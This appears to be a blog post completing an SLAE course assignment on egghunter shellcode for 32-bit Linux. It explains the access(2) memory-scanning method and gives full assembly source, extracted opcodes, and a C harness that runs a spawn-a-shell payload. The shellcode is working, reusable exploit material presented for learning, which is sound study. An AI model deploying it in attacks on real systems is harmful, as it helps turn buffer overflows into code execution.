Hi All! Today we will look at how to solve third assignment, which is really interesting topic i.e Egghunter shellcode.
Objective :
- Study about Egg hunter shellcode.
- Create a working demo of Egg hunter shellcode.
- Should be configurable for different payloads.
Scenario : Suppose we find buffer overflow vulnerability on an application and it so happens, we can control the Instruction pointer but we do not have enough reliable contigious space in available buffer to push our shellcode due to limited space . In such a scenario, Where do we push our shellcode and get it working?
Solution :
Thats when an awesome concept called “EggHunter shellcode.” kicks in.
Egg hunter shellcode is a multi stage shellcode in which, its only task is to search the memory for actual second shellcode (exploit code) , jump to it and finally pass the control to the found second shellcode in the memory.
It reliably search and scan the complete memory for occurrence of a unique “tag” which is part of second stage shellcode.
Many thanks to this awesome research paper by skape on Egghunter :
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
In this paper, scape explains three methods of implementing an egg hunter . first two involves using access sys call . and the third one involves sigaction syscall.
While an egghunter crawls the memory for known tag it may find one of these issues,
- Since we define this tag as part of initialized data section of our exploit program and also since Egghunter shellcode itself contains this tag , Egghunter may recognize its own tag ( since we give the tag for comparision in egg hunter pgm.) and may jump to wrong code.
- There may be a chance , when we allocate memory for exploit shellcode dynamically using malloc/calloc ( which gets stored on heap), there are un mapped segments between different mapped memory segments , this results in program termination .(SIGSEGV).
In order to solve first issue, we can make use of repeating tag twice in our final exploit code.
So our second stage shellcode is of format :
tag+tag+shellcode
In Order to solve the second issue, we can use any one of the methods provided by skape, using first and second method which involves access syscall , which returns EFAULT on finding such unmapped memory regions , instead of terminating the program.
Third method involves using sigaction systemcall. This method is slightly more efficient than the previous methods, as in this , we can validate multiple address at the same time compared to previous methods. But this method is not robust and may fail on certain circumstances.
In this post we will make use of access(2) revisited method as it seems better than using sigaction with robustness in mind.
So lets look at access system call from man page:
int access(const char *pathname, int mode);
From man page, access is used to check for user’s permission to check the destination file pathname. and mode specifies accessibility check to be performed. So for our scenario , we push the address to be validated starting with in a single page ( 4096 bytes of memory) lowest unit to test , if it returns EFAULT , we increment the page till we reach valid address space. Once we reach valid space , we iterate the page for searching occurance [tag][tag] . If we find this occurrence we jump to shell code directly which succeeds the [tag][tag] occurrence. If we do not find the tag occurrence in an entire page address , we increment to next page. So lets see how its implemented.
Lets first check the syscall number for access.
~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33
here is the complete assembly code for egg hunter with self comments:
global _start
section .text
_start:
; clear out ebx
xor ebx,ebx
page_increment:
; move 4096-1
or bx, 0xfff
byte_increment:
;increment to next address
inc ebx
; syscall for access(2)
push +0x21
pop eax
;call interrupt
int 0x80
; check for EFAULT in return
cmp al, 0xf2
; if efault then move to next page
je page_increment
; if not we move address stored in ebx to edi
mov edi,ebx
; and we move our egg tag to be checked to eax
mov eax, 0x50905090
; scasd check eax==edi? if yes auto increment edi
scasd
;if not move to next byte in same page
jnz byte_increment
;check for second occurance of tag, if yes auto increment edi
scasd
; if not move to
jnz byte_increment
; finally jump to final shellcode following consecutive tags
jmp edi
We make use of scasd instruction for comparision , as it compares content on eax to edi , if successfull it auto increments edi , we move address in memory to edi and compare with eax which contains our egg tag. We do this twice and finally jump to edi, As it contains our final shellcode.
So lets compile and fetch our shellcode :
./compile.sh egghunter
objdump -d ./egghunter |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
Egg hunter shellcode :
“\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7”
Lets put this in our egghunter template c program :
#include<stdio.h>
#include<string.h>
#define EGG "\x90\x50\x90\x50"
unsigned char egghunter[] ="\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
// simple spawn a shell shellcode payload
unsigned char code[] = \
EGG EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
//calling egghunter
int (*ret)() = (int(*)())egghunter;
ret();
}
I have used a simple shell spawn payload to verify this assignment . lets finally compile and execute this program :
slae:~$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
slae:~$ ./shellcode
Egghunter Length: 32
$
It works! W00tW00t 😀
link to github repo for the code :
https://github.com/strikergoutham/SLAE_assignments
This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert certification.
(https://www.pentesteracademy.com/course?id=3)
SLAE student ID : SLAE – 1367
